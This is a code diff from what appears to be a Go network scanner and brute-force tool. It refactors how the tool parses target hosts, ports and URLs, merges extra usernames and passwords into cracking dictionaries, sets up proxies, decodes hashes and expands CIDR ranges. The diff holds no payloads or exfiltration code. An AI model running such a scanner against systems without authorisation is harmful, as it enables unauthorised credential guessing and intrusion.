URLs = append(URLs, url)
|
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
LogInfo(GetText("load_urls_from_file", len(urls)))
|
|
||||||
}
|
|
||||||
|
|
||||||
// 从文件加载主机列表
|
// 更新全局URL列表(已去重)
|
||||||
if HostsFile != "" {
|
URLs = make([]string, 0, len(urlMap))
|
||||||
hosts, err := Readfile(HostsFile)
|
for u := range urlMap {
|
||||||
|
URLs = append(URLs, u)
|
||||||
|
}
|
||||||
|
|
||||||
|
if len(URLs) > 0 {
|
||||||
|
LogInfo(GetText("load_urls", len(URLs)))
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// parseHosts 解析主机配置
|
||||||
|
// 从文件加载主机列表并更新目标信息
|
||||||
|
func parseHosts(Info *HostInfo) error {
|
||||||
|
// 如果未指定主机文件,无需处理
|
||||||
|
if HostsFile == "" {
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
|
||||||
|
hosts, err := ReadFileLines(HostsFile)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
return fmt.Errorf("读取主机文件失败: %v", err)
|
return fmt.Errorf("读取主机文件失败: %v", err)
|
||||||
}
|
}
|
||||||
|
|
||||||
tmpHosts := make(map[string]struct{})
|
// 去重处理
|
||||||
|
hostMap := make(map[string]struct{})
|
||||||
for _, host := range hosts {
|
for _, host := range hosts {
|
||||||
if host != "" {
|
if host != "" {
|
||||||
if _, ok := tmpHosts[host]; !ok {
|
hostMap[host] = struct{}{}
|
||||||
tmpHosts[host] = struct{}{}
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// 构建主机列表并更新Info.Host
|
||||||
|
if len(hostMap) > 0 {
|
||||||
|
var hostList []string
|
||||||
|
for host := range hostMap {
|
||||||
|
hostList = append(hostList, host)
|
||||||
|
}
|
||||||
|
|
||||||
|
hostStr := strings.Join(hostList, ",")
|
||||||
if Info.Host == "" {
|
if Info.Host == "" {
|
||||||
Info.Host = host
|
Info.Host = hostStr
|
||||||
} else {
|
} else {
|
||||||
Info.Host += "," + host
|
Info.Host += "," + hostStr
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
}
|
||||||
|
|
||||||
LogInfo(GetText("load_hosts_from_file", len(hosts)))
|
LogInfo(GetText("load_hosts_from_file", len(hosts)))
|
||||||
}
|
}
|
||||||
|
|
||||||
// 从文件加载端口列表
|
|
||||||
if PortsFile != "" {
|
|
||||||
ports, err := Readfile(PortsFile)
|
|
||||||
if err != nil {
|
|
||||||
return fmt.Errorf("读取端口文件失败: %v", err)
|
|
||||||
}
|
|
||||||
|
|
||||||
var newport strings.Builder
|
|
||||||
for _, port := range ports {
|
|
||||||
if port != "" {
|
|
||||||
newport.WriteString(port)
|
|
||||||
newport.WriteString(",")
|
|
||||||
}
|
|
||||||
}
|
|
||||||
Ports = newport.String()
|
|
||||||
LogInfo(GetText("load_ports_from_file"))
|
|
||||||
}
|
|
||||||
|
|
||||||
return nil
|
return nil
|
||||||
}
|
}
|
||||||
|
|
||||||
// Readfile 读取文件内容并返回非空行的切片
|
// parsePorts 解析端口配置
|
||||||
func Readfile(filename string) ([]string, error) {
|
// 从文件加载端口列表并更新全局端口配置
|
||||||
|
func parsePorts() error {
|
||||||
|
// 如果未指定端口文件,无需处理
|
||||||
|
if PortsFile == "" {
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
|
||||||
|
ports, err := ReadFileLines(PortsFile)
|
||||||
|
if err != nil {
|
||||||
|
return fmt.Errorf("读取端口文件失败: %v", err)
|
||||||
|
}
|
||||||
|
|
||||||
|
// 构建端口列表字符串
|
||||||
|
var portBuilder strings.Builder
|
||||||
|
for _, port := range ports {
|
||||||
|
if port != "" {
|
||||||
|
portBuilder.WriteString(port)
|
||||||
|
portBuilder.WriteString(",")
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// 更新全局端口配置
|
||||||
|
Ports = portBuilder.String()
|
||||||
|
LogInfo(GetText("load_ports_from_file"))
|
||||||
|
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
|
||||||
|
// ReadFileLines 读取文件内容并返回非空行的切片
|
||||||
|
// 通用的文件读取函数,处理文件打开、读取和错误报告
|
||||||
|
func ReadFileLines(filename string) ([]string, error) {
|
||||||
// 打开文件
|
// 打开文件
|
||||||
file, err := os.Open(filename)
|
file, err := os.Open(filename)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
@ -206,7 +290,7 @@ func Readfile(filename string) ([]string, error) {
|
|||||||
scanner := bufio.NewScanner(file)
|
scanner := bufio.NewScanner(file)
|
||||||
scanner.Split(bufio.ScanLines)
|
scanner.Split(bufio.ScanLines)
|
||||||
|
|
||||||
// 逐行读取文件内容
|
// 逐行读取文件内容,忽略空行
|
||||||
lineCount := 0
|
lineCount := 0
|
||||||
for scanner.Scan() {
|
for scanner.Scan() {
|
||||||
text := strings.TrimSpace(scanner.Text())
|
text := strings.TrimSpace(scanner.Text())
|
||||||
@ -227,19 +311,48 @@ func Readfile(filename string) ([]string, error) {
|
|||||||
}
|
}
|
||||||
|
|
||||||
// ParseInput 解析和验证输入参数配置
|
// ParseInput 解析和验证输入参数配置
|
||||||
|
// 处理多种配置的冲突检查、格式验证和参数处理
|
||||||
func ParseInput(Info *HostInfo) error {
|
func ParseInput(Info *HostInfo) error {
|
||||||
// 检查互斥的扫描模式
|
// 检查扫描模式冲突
|
||||||
|
if err := validateScanMode(Info); err != nil {
|
||||||
|
return err
|
||||||
|
}
|
||||||
|
|
||||||
|
// 处理端口配置组合
|
||||||
|
processPortsConfig()
|
||||||
|
|
||||||
|
// 处理额外用户名和密码
|
||||||
|
processExtraCredentials()
|
||||||
|
|
||||||
|
// 处理代理配置
|
||||||
|
if err := processProxySettings(); err != nil {
|
||||||
|
return err
|
||||||
|
}
|
||||||
|
|
||||||
|
// 处理哈希值
|
||||||
|
if err := processHashValues(); err != nil {
|
||||||
|
return err
|
||||||
|
}
|
||||||
|
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
|
||||||
|
// validateScanMode 验证扫描模式
|
||||||
|
// 检查互斥的扫描模式配置,避免参数冲突
|
||||||
|
func validateScanMode(Info *HostInfo) error {
|
||||||
|
// 检查互斥的扫描模式(主机扫描、URL扫描、本地模式)
|
||||||
modes := 0
|
modes := 0
|
||||||
if Info.Host != "" || HostsFile != "" {
|
if Info.Host != "" || HostsFile != "" {
|
||||||
modes++
|
modes++
|
||||||
}
|
}
|
||||||
if TargetURL != "" || URLsFile != "" {
|
if len(URLs) > 0 || TargetURL != "" || URLsFile != "" {
|
||||||
modes++
|
modes++
|
||||||
}
|
}
|
||||||
if LocalMode {
|
if LocalMode {
|
||||||
modes++
|
modes++
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// 处理扫描模式验证结果
|
||||||
if modes == 0 {
|
if modes == 0 {
|
||||||
// 无参数时显示帮助
|
// 无参数时显示帮助
|
||||||
flag.Usage()
|
flag.Usage()
|
||||||
@ -248,17 +361,18 @@ func ParseInput(Info *HostInfo) error {
|
|||||||
return fmt.Errorf(GetText("params_conflict"))
|
return fmt.Errorf(GetText("params_conflict"))
|
||||||
}
|
}
|
||||||
|
|
||||||
//// 处理爆破线程配置
|
return nil
|
||||||
//if BruteThreads <= 0 {
|
}
|
||||||
// BruteThreads = 1
|
|
||||||
// LogInfo(GetText("brute_threads", BruteThreads))
|
|
||||||
//}
|
|
||||||
|
|
||||||
// 处理端口配置
|
// processPortsConfig 处理端口配置
|
||||||
|
// 合并默认端口和附加端口配置
|
||||||
|
func processPortsConfig() {
|
||||||
|
// 如果使用主要端口,添加Web端口
|
||||||
if Ports == MainPorts {
|
if Ports == MainPorts {
|
||||||
Ports += "," + WebPorts
|
Ports += "," + WebPorts
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// 处理附加端口
|
||||||
if AddPorts != "" {
|
if AddPorts != "" {
|
||||||
if strings.HasSuffix(Ports, ",") {
|
if strings.HasSuffix(Ports, ",") {
|
||||||
Ports += AddPorts
|
Ports += AddPorts
|
||||||
@ -267,8 +381,12 @@ func ParseInput(Info *HostInfo) error {
|
|||||||
}
|
}
|
||||||
LogInfo(GetText("extra_ports", AddPorts))
|
LogInfo(GetText("extra_ports", AddPorts))
|
||||||
}
|
}
|
||||||
|
}
|
||||||
|
|
||||||
// 处理用户名配置
|
// processExtraCredentials 处理额外的用户名和密码
|
||||||
|
// 添加命令行指定的额外用户名和密码到现有配置
|
||||||
|
func processExtraCredentials() {
|
||||||
|
// 处理额外用户名
|
||||||
if AddUsers != "" {
|
if AddUsers != "" {
|
||||||
users := strings.Split(AddUsers, ",")
|
users := strings.Split(AddUsers, ",")
|
||||||
for dict := range Userdict {
|
for dict := range Userdict {
|
||||||
@ -278,67 +396,112 @@ func ParseInput(Info *HostInfo) error {
|
|||||||
LogInfo(GetText("extra_usernames", AddUsers))
|
LogInfo(GetText("extra_usernames", AddUsers))
|
||||||
}
|
}
|
||||||
|
|
||||||
// 处理密码配置
|
// 处理额外密码
|
||||||
if AddPasswords != "" {
|
if AddPasswords != "" {
|
||||||
passes := strings.Split(AddPasswords, ",")
|
passes := strings.Split(AddPasswords, ",")
|
||||||
Passwords = append(Passwords, passes...)
|
Passwords = append(Passwords, passes...)
|
||||||
Passwords = RemoveDuplicate(Passwords)
|
Passwords = RemoveDuplicate(Passwords)
|
||||||
LogInfo(GetText("extra_passwords", AddPasswords))
|
LogInfo(GetText("extra_passwords", AddPasswords))
|
||||||
}
|
}
|
||||||
|
}
|
||||||
|
|
||||||
// 处理Socks5代理配置
|
// processProxySettings 处理代理设置
|
||||||
|
// 解析并验证Socks5和HTTP代理配置
|
||||||
|
func processProxySettings() error {
|
||||||
|
// 处理Socks5代理
|
||||||
if Socks5Proxy != "" {
|
if Socks5Proxy != "" {
|
||||||
|
if err := setupSocks5Proxy(); err != nil {
|
||||||
|
return err
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// 处理HTTP代理
|
||||||
|
if HttpProxy != "" {
|
||||||
|
if err := setupHttpProxy(); err != nil {
|
||||||
|
return err
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
|
||||||
|
// setupSocks5Proxy 设置Socks5代理
|
||||||
|
// 格式化和验证Socks5代理URL
|
||||||
|
func setupSocks5Proxy() error {
|
||||||
|
// 规范化Socks5代理URL格式
|
||||||
if !strings.HasPrefix(Socks5Proxy, "socks5://") {
|
if !strings.HasPrefix(Socks5Proxy, "socks5://") {
|
||||||
if !strings.Contains(Socks5Proxy, ":") {
|
if !strings.Contains(Socks5Proxy, ":") {
|
||||||
Socks5Proxy = "socks5://127.0.0.1" + Socks5Proxy
|
// 仅指定端口时使用本地地址
|
||||||
|
Socks5Proxy = "socks5://127.0.0.1:" + Socks5Proxy
|
||||||
} else {
|
} else {
|
||||||
|
// 指定IP:PORT时添加协议前缀
|
||||||
Socks5Proxy = "socks5://" + Socks5Proxy
|
Socks5Proxy = "socks5://" + Socks5Proxy
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// 验证代理URL格式
|
||||||
_, err := url.Parse(Socks5Proxy)
|
_, err := url.Parse(Socks5Proxy)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
return fmt.Errorf(GetText("socks5_proxy_error", err))
|
return fmt.Errorf(GetText("socks5_proxy_error", err))
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// 使用Socks5代理时禁用Ping(无法通过代理进行ICMP)
|
||||||
DisablePing = true
|
DisablePing = true
|
||||||
LogInfo(GetText("socks5_proxy", Socks5Proxy))
|
LogInfo(GetText("socks5_proxy", Socks5Proxy))
|
||||||
}
|
|
||||||
|
|
||||||
// 处理HTTP代理配置
|
return nil
|
||||||
if HttpProxy != "" {
|
}
|
||||||
|
|
||||||
|
// setupHttpProxy 设置HTTP代理
|
||||||
|
// 处理多种HTTP代理简写形式并验证URL格式
|
||||||
|
func setupHttpProxy() error {
|
||||||
|
// 处理HTTP代理简写形式
|
||||||
switch HttpProxy {
|
switch HttpProxy {
|
||||||
case "1":
|
case "1":
|
||||||
|
// 快捷方式1: 本地8080端口(常用代理工具默认端口)
|
||||||
HttpProxy = "http://127.0.0.1:8080"
|
HttpProxy = "http://127.0.0.1:8080"
|
||||||
case "2":
|
case "2":
|
||||||
|
// 快捷方式2: 本地1080端口(常见SOCKS端口)
|
||||||
HttpProxy = "socks5://127.0.0.1:1080"
|
HttpProxy = "socks5://127.0.0.1:1080"
|
||||||
default:
|
default:
|
||||||
|
// 仅指定端口时使用本地HTTP代理
|
||||||
if !strings.Contains(HttpProxy, "://") {
|
if !strings.Contains(HttpProxy, "://") {
|
||||||
HttpProxy = "http://127.0.0.1:" + HttpProxy
|
HttpProxy = "http://127.0.0.1:" + HttpProxy
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// 验证代理协议
|
||||||
if !strings.HasPrefix(HttpProxy, "socks") && !strings.HasPrefix(HttpProxy, "http") {
|
if !strings.HasPrefix(HttpProxy, "socks") && !strings.HasPrefix(HttpProxy, "http") {
|
||||||
return fmt.Errorf(GetText("unsupported_proxy"))
|
return fmt.Errorf(GetText("unsupported_proxy"))
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// 验证代理URL格式
|
||||||
_, err := url.Parse(HttpProxy)
|
_, err := url.Parse(HttpProxy)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
return fmt.Errorf(GetText("proxy_format_error", err))
|
return fmt.Errorf(GetText("proxy_format_error", err))
|
||||||
}
|
}
|
||||||
LogInfo(GetText("http_proxy", HttpProxy))
|
|
||||||
}
|
|
||||||
|
|
||||||
// 处理Hash配置
|
LogInfo(GetText("http_proxy", HttpProxy))
|
||||||
|
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
|
||||||
|
// processHashValues 处理哈希值
|
||||||
|
// 验证单个哈希值并处理哈希列表
|
||||||
|
func processHashValues() error {
|
||||||
|
// 处理单个哈希值
|
||||||
if HashValue != "" {
|
if HashValue != "" {
|
||||||
|
// MD5哈希必须是32位十六进制字符
|
||||||
if len(HashValue) != 32 {
|
if len(HashValue) != 32 {
|
||||||
return fmt.Errorf(GetText("hash_length_error"))
|
return fmt.Errorf(GetText("hash_length_error"))
|
||||||
}
|
}
|
||||||
HashValues = append(HashValues, HashValue)
|
HashValues = append(HashValues, HashValue)
|
||||||
}
|
}
|
||||||
|
|
||||||
// 处理Hash列表
|
// 处理哈希值列表
|
||||||
HashValues = RemoveDuplicate(HashValues)
|
HashValues = RemoveDuplicate(HashValues)
|
||||||
for _, hash := range HashValues {
|
for _, hash := range HashValues {
|
||||||
|
// 将十六进制字符串转换为字节数组
|
||||||
hashByte, err := hex.DecodeString(hash)
|
hashByte, err := hex.DecodeString(hash)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
LogError(GetText("hash_decode_failed", hash))
|
LogError(GetText("hash_decode_failed", hash))
|
||||||
@ -346,7 +509,24 @@ func ParseInput(Info *HostInfo) error {
|
|||||||
}
|
}
|
||||||
HashBytes = append(HashBytes, hashByte)
|
HashBytes = append(HashBytes, hashByte)
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// 清空原始哈希值列表,仅保留字节形式
|
||||||
HashValues = []string{}
|
HashValues = []string{}
|
||||||
|
|
||||||
return nil
|
return nil
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// RemoveDuplicate 对字符串切片进行去重
|
||||||
|
func RemoveDuplicate(old []string) []string {
|
||||||
|
temp := make(map[string]struct{})
|
||||||
|
var result []string
|
||||||
|
|
||||||
|
for _, item := range old {
|
||||||
|
if _, exists := temp[item]; !exists {
|
||||||
|
temp[item] = struct{}{}
|
||||||
|
result = append(result, item)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
return result
|
||||||
|
}
|
||||||
|
@ -13,26 +13,37 @@ import (
|
|||||||
"strings"
|
"strings"
|
||||||
)
|
)
|
||||||
|
|
||||||
var ParseIPErr = errors.New(GetText("parse_ip_error"))
|
// IP解析相关错误
|
||||||
|
var (
|
||||||
|
ErrParseIP = errors.New(GetText("parse_ip_error")) // IP解析失败的统一错误
|
||||||
|
)
|
||||||
|
|
||||||
// ParseIP 解析IP地址配置
|
// ParseIP 解析各种格式的IP地址
|
||||||
|
// 参数:
|
||||||
|
// - host: 主机地址(可以是单个IP、IP范围、CIDR或常用网段简写)
|
||||||
|
// - filename: 包含主机地址的文件名
|
||||||
|
// - nohosts: 需要排除的主机地址列表
|
||||||
|
//
|
||||||
|
// 返回:
|
||||||
|
// - []string: 解析后的IP地址列表
|
||||||
|
// - error: 解析过程中的错误
|
||||||
func ParseIP(host string, filename string, nohosts ...string) (hosts []string, err error) {
|
func ParseIP(host string, filename string, nohosts ...string) (hosts []string, err error) {
|
||||||
// 处理主机和端口组合的情况
|
// 处理主机和端口组合的情况 (格式: IP:PORT)
|
||||||
if filename == "" && strings.Contains(host, ":") {
|
if filename == "" && strings.Contains(host, ":") {
|
||||||
hostport := strings.Split(host, ":")
|
hostport := strings.Split(host, ":")
|
||||||
if len(hostport) == 2 {
|
if len(hostport) == 2 {
|
||||||
host = hostport[0]
|
host = hostport[0]
|
||||||
hosts = ParseIPs(host)
|
hosts = parseIPList(host)
|
||||||
Ports = hostport[1]
|
Ports = hostport[1]
|
||||||
LogInfo(GetText("host_port_parsed", Ports))
|
LogInfo(GetText("host_port_parsed", Ports))
|
||||||
}
|
}
|
||||||
} else {
|
} else {
|
||||||
// 解析主机地址
|
// 解析主机地址
|
||||||
hosts = ParseIPs(host)
|
hosts = parseIPList(host)
|
||||||
|
|
||||||
// 从文件加载额外主机
|
// 从文件加载额外主机
|
||||||
if filename != "" {
|
if filename != "" {
|
||||||
fileHosts, err := Readipfile(filename)
|
fileHosts, err := readIPFile(filename)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
LogError(GetText("read_host_file_failed", err))
|
LogError(GetText("read_host_file_failed", err))
|
||||||
} else {
|
} else {
|
||||||
@ -42,177 +53,137 @@ func ParseIP(host string, filename string, nohosts ...string) (hosts []string, e
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
// 处理排除主机
|
// 处理需要排除的主机
|
||||||
if len(nohosts) > 0 && nohosts[0] != "" {
|
hosts = excludeHosts(hosts, nohosts)
|
||||||
excludeHosts := ParseIPs(nohosts[0])
|
|
||||||
if len(excludeHosts) > 0 {
|
|
||||||
// 使用map存储有效主机
|
|
||||||
temp := make(map[string]struct{})
|
|
||||||
for _, host := range hosts {
|
|
||||||
temp[host] = struct{}{}
|
|
||||||
}
|
|
||||||
|
|
||||||
// 删除需要排除的主机
|
// 去重并排序
|
||||||
for _, host := range excludeHosts {
|
hosts = removeDuplicateIPs(hosts)
|
||||||
delete(temp, host)
|
|
||||||
}
|
|
||||||
|
|
||||||
// 重建主机列表
|
|
||||||
var newHosts []string
|
|
||||||
for host := range temp {
|
|
||||||
newHosts = append(newHosts, host)
|
|
||||||
}
|
|
||||||
hosts = newHosts
|
|
||||||
sort.Strings(hosts)
|
|
||||||
LogInfo(GetText("hosts_excluded", len(excludeHosts)))
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
// 去重处理
|
|
||||||
hosts = RemoveDuplicate(hosts)
|
|
||||||
LogInfo(GetText("final_valid_hosts", len(hosts)))
|
LogInfo(GetText("final_valid_hosts", len(hosts)))
|
||||||
|
|
||||||
// 检查解析结果
|
// 检查解析结果
|
||||||
if len(hosts) == 0 && len(HostPort) == 0 && (host != "" || filename != "") {
|
if len(hosts) == 0 && len(HostPort) == 0 && (host != "" || filename != "") {
|
||||||
return nil, ParseIPErr
|
return nil, ErrParseIP
|
||||||
}
|
}
|
||||||
|
|
||||||
return hosts, nil
|
return hosts, nil
|
||||||
}
|
}
|
||||||
|
|
||||||
func ParseIPs(ip string) (hosts []string) {
|
// parseIPList 解析逗号分隔的IP地址列表
|
||||||
if strings.Contains(ip, ",") {
|
// 参数:
|
||||||
IPList := strings.Split(ip, ",")
|
// - ipList: 逗号分隔的IP地址列表字符串
|
||||||
var ips []string
|
//
|
||||||
for _, ip := range IPList {
|
// 返回:
|
||||||
ips = parseIP(ip)
|
// - []string: 解析后的IP地址列表
|
||||||
hosts = append(hosts, ips...)
|
func parseIPList(ipList string) []string {
|
||||||
|
var result []string
|
||||||
|
|
||||||
|
// 处理逗号分隔的IP列表
|
||||||
|
if strings.Contains(ipList, ",") {
|
||||||
|
ips := strings.Split(ipList, ",")
|
||||||
|
for _, ip := range ips {
|
||||||
|
if parsed := parseSingleIP(ip); len(parsed) > 0 {
|
||||||
|
result = append(result, parsed...)
|
||||||
}
|
}
|
||||||
} else {
|
|
||||||
hosts = parseIP(ip)
|
|
||||||
}
|
}
|
||||||
return hosts
|
} else if ipList != "" {
|
||||||
|
// 解析单个IP地址或范围
|
||||||
|
result = parseSingleIP(ipList)
|
||||||
|
}
|
||||||
|
|
||||||
|
return result
|
||||||
}
|
}
|
||||||
|
|
||||||
func parseIP(ip string) []string {
|
// parseSingleIP 解析单个IP地址或IP范围
|
||||||
reg := regexp.MustCompile(`[a-zA-Z]+`)
|
// 支持多种格式:
|
||||||
|
// - 普通IP: 192.168.1.1
|
||||||
|
// - 简写网段: 192, 172, 10
|
||||||
|
// - CIDR: 192.168.0.0/24
|
||||||
|
// - 范围: 192.168.1.1-192.168.1.100 或 192.168.1.1-100
|
||||||
|
// - 域名: example.com
|
||||||
|
// 参数:
|
||||||
|
// - ip: IP地址或范围字符串
|
||||||
|
//
|
||||||
|
// 返回:
|
||||||
|
// - []string: 解析后的IP地址列表
|
||||||
|
func parseSingleIP(ip string) []string {
|
||||||
|
// 检测是否包含字母(可能是域名)
|
||||||
|
isAlpha := regexp.MustCompile(`[a-zA-Z]+`).MatchString(ip)
|
||||||
|
|
||||||
|
// 根据不同格式解析IP
|
||||||
switch {
|
switch {
|
||||||
case ip == "192":
|
case ip == "192":
|
||||||
return parseIP("192.168.0.0/16")
|
// 常用内网段简写
|
||||||
|
return parseSingleIP("192.168.0.0/16")
|
||||||
case ip == "172":
|
case ip == "172":
|
||||||
return parseIP("172.16.0.0/12")
|
// 常用内网段简写
|
||||||
|
return parseSingleIP("172.16.0.0/12")
|
||||||
case ip == "10":
|
case ip == "10":
|
||||||
return parseIP("10.0.0.0/8")
|
// 常用内网段简写
|
||||||
|
return parseSingleIP("10.0.0.0/8")
|
||||||
case strings.HasSuffix(ip, "/8"):
|
case strings.HasSuffix(ip, "/8"):
|
||||||
return parseIP8(ip)
|
// 处理/8网段(使用采样方式)
|
||||||
|
return parseSubnet8(ip)
|
||||||
case strings.Contains(ip, "/"):
|
case strings.Contains(ip, "/"):
|
||||||
return parseIP2(ip)
|
// 处理CIDR格式
|
||||||
case reg.MatchString(ip):
|
return parseCIDR(ip)
|
||||||
|
case isAlpha:
|
||||||
|
// 处理域名,直接返回
|
||||||
return []string{ip}
|
return []string{ip}
|
||||||
case strings.Contains(ip, "-"):
|
case strings.Contains(ip, "-"):
|
||||||
return parseIP1(ip)
|
// 处理IP范围
|
||||||
|
return parseIPRange(ip)
|
||||||
default:
|
default:
|
||||||
testIP := net.ParseIP(ip)
|
// 尝试解析为单个IP地址
|
||||||
if testIP == nil {
|
if testIP := net.ParseIP(ip); testIP != nil {
|
||||||
|
return []string{ip}
|
||||||
|
}
|
||||||
LogError(GetText("invalid_ip_format", ip))
|
LogError(GetText("invalid_ip_format", ip))
|
||||||
return nil
|
return nil
|
||||||
}
|
}
|
||||||
return []string{ip}
|
|
||||||
}
|
|
||||||
}
|
}
|
||||||
|
|
||||||
// parseIP2 解析CIDR格式的IP地址段
|
// parseCIDR 解析CIDR格式的IP地址段
|
||||||
func parseIP2(host string) []string {
|
// 例如: 192.168.1.0/24
|
||||||
_, ipNet, err := net.ParseCIDR(host)
|
// 参数:
|
||||||
|
// - cidr: CIDR格式的IP地址段
|
||||||
|
//
|
||||||
|
// 返回:
|
||||||
|
// - []string: 展开后的IP地址列表
|
||||||
|
func parseCIDR(cidr string) []string {
|
||||||
|
// 解析CIDR格式
|
||||||
|
_, ipNet, err := net.ParseCIDR(cidr)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
LogError(GetText("cidr_parse_failed", host, err))
|
LogError(GetText("cidr_parse_failed", cidr, err))
|
||||||
return nil
|
return nil
|
||||||
}
|
}
|
||||||
|
|
||||||
ipRange := IPRange(ipNet)
|
// 转换为IP范围
|
||||||
hosts := parseIP1(ipRange)
|
ipRange := calculateIPRange(ipNet)
|
||||||
LogInfo(GetText("parse_cidr_to_range", host, ipRange))
|
hosts := parseIPRange(ipRange)
|
||||||
|
LogInfo(GetText("parse_cidr_to_range", cidr, ipRange))
|
||||||
return hosts
|
return hosts
|
||||||
}
|
}
|
||||||
|
|
||||||
// parseIP1 解析IP范围格式的地址
|
// calculateIPRange 计算CIDR的起始IP和结束IP
|
||||||
func parseIP1(ip string) []string {
|
// 例如: 192.168.1.0/24 -> 192.168.1.0-192.168.1.255
|
||||||
ipRange := strings.Split(ip, "-")
|
// 参数:
|
||||||
testIP := net.ParseIP(ipRange[0])
|
// - cidr: 解析后的IPNet对象
|
||||||
var allIP []string
|
//
|
||||||
|
// 返回:
|
||||||
|
// - string: 格式为"起始IP-结束IP"的范围字符串
|
||||||
|
func calculateIPRange(cidr *net.IPNet) string {
|
||||||
|
// 获取网络起始IP
|
||||||
|
start := cidr.IP.String()
|
||||||
|
mask := cidr.Mask
|
||||||
|
|
||||||
// 处理简写格式 (192.168.111.1-255)
|
// 计算广播地址(最后一个IP)
|
||||||
if len(ipRange[1]) < 4 {
|
bcst := make(net.IP, len(cidr.IP))
|
||||||
endNum, err := strconv.Atoi(ipRange[1])
|
copy(bcst, cidr.IP)
|
||||||
if testIP == nil || endNum > 255 || err != nil {
|
|
||||||
LogError(GetText("ip_range_format_error", ip))
|
|
||||||
return nil
|
|
||||||
}
|
|
||||||
|
|
||||||
splitIP := strings.Split(ipRange[0], ".")
|
|
||||||
startNum, err1 := strconv.Atoi(splitIP[3])
|
|
||||||
endNum, err2 := strconv.Atoi(ipRange[1])
|
|
||||||
prefixIP := strings.Join(splitIP[0:3], ".")
|
|
||||||
|
|
||||||
if startNum > endNum || err1 != nil || err2 != nil {
|
|
||||||
LogError(GetText("invalid_ip_range", startNum, endNum))
|
|
||||||
return nil
|
|
||||||
}
|
|
||||||
|
|
||||||
for i := startNum; i <= endNum; i++ {
|
|
||||||
allIP = append(allIP, prefixIP+"."+strconv.Itoa(i))
|
|
||||||
}
|
|
||||||
|
|
||||||
LogInfo(GetText("generate_ip_range", prefixIP, startNum, prefixIP, endNum))
|
|
||||||
} else {
|
|
||||||
// 处理完整IP范围格式
|
|
||||||
splitIP1 := strings.Split(ipRange[0], ".")
|
|
||||||
splitIP2 := strings.Split(ipRange[1], ".")
|
|
||||||
|
|
||||||
if len(splitIP1) != 4 || len(splitIP2) != 4 {
|
|
||||||
LogError(GetText("ip_format_error", ip))
|
|
||||||
return nil
|
|
||||||
}
|
|
||||||
|
|
||||||
start, end := [4]int{}, [4]int{}
|
|
||||||
for i := 0; i < 4; i++ {
|
|
||||||
ip1, err1 := strconv.Atoi(splitIP1[i])
|
|
||||||
ip2, err2 := strconv.Atoi(splitIP2[i])
|
|
||||||
if ip1 > ip2 || err1 != nil || err2 != nil {
|
|
||||||
LogError(GetText("invalid_ip_range", ipRange[0], ipRange[1]))
|
|
||||||
return nil
|
|
||||||
}
|
|
||||||
start[i], end[i] = ip1, ip2
|
|
||||||
}
|
|
||||||
|
|
||||||
startNum := start[0]<<24 | start[1]<<16 | start[2]<<8 | start[3]
|
|
||||||
endNum := end[0]<<24 | end[1]<<16 | end[2]<<8 | end[3]
|
|
||||||
|
|
||||||
for num := startNum; num <= endNum; num++ {
|
|
||||||
ip := strconv.Itoa((num>>24)&0xff) + "." +
|
|
||||||
strconv.Itoa((num>>16)&0xff) + "." +
|
|
||||||
strconv.Itoa((num>>8)&0xff) + "." +
|
|
||||||
strconv.Itoa((num)&0xff)
|
|
||||||
allIP = append(allIP, ip)
|
|
||||||
}
|
|
||||||
|
|
||||||
LogInfo(GetText("generate_ip_range", ipRange[0], ipRange[1]))
|
|
||||||
}
|
|
||||||
|
|
||||||
return allIP
|
|
||||||
}
|
|
||||||
|
|
||||||
// IPRange 计算CIDR的起始IP和结束IP
|
|
||||||
func IPRange(c *net.IPNet) string {
|
|
||||||
start := c.IP.String()
|
|
||||||
mask := c.Mask
|
|
||||||
bcst := make(net.IP, len(c.IP))
|
|
||||||
copy(bcst, c.IP)
|
|
||||||
|
|
||||||
|
// 将网络掩码按位取反,然后与IP地址按位或,得到广播地址
|
||||||
for i := 0; i < len(mask); i++ {
|
for i := 0; i < len(mask); i++ {
|
||||||
ipIdx := len(bcst) - i - 1
|
ipIdx := len(bcst) - i - 1
|
||||||
bcst[ipIdx] = c.IP[ipIdx] | ^mask[len(mask)-i-1]
|
bcst[ipIdx] = cidr.IP[ipIdx] | ^mask[len(mask)-i-1]
|
||||||
}
|
}
|
||||||
end := bcst.String()
|
end := bcst.String()
|
||||||
|
|
||||||
@ -221,8 +192,218 @@ func IPRange(c *net.IPNet) string {
|
|||||||
return result
|
return result
|
||||||
}
|
}
|
||||||
|
|
||||||
// Readipfile 从文件中按行读取IP地址
|
// parseIPRange 解析IP范围格式的地址
|
||||||
func Readipfile(filename string) ([]string, error) {
|
// 支持两种格式:
|
||||||
|
// - 完整格式: 192.168.1.1-192.168.1.100
|
||||||
|
// - 简写格式: 192.168.1.1-100
|
||||||
|
// 参数:
|
||||||
|
// - ipRange: IP范围字符串
|
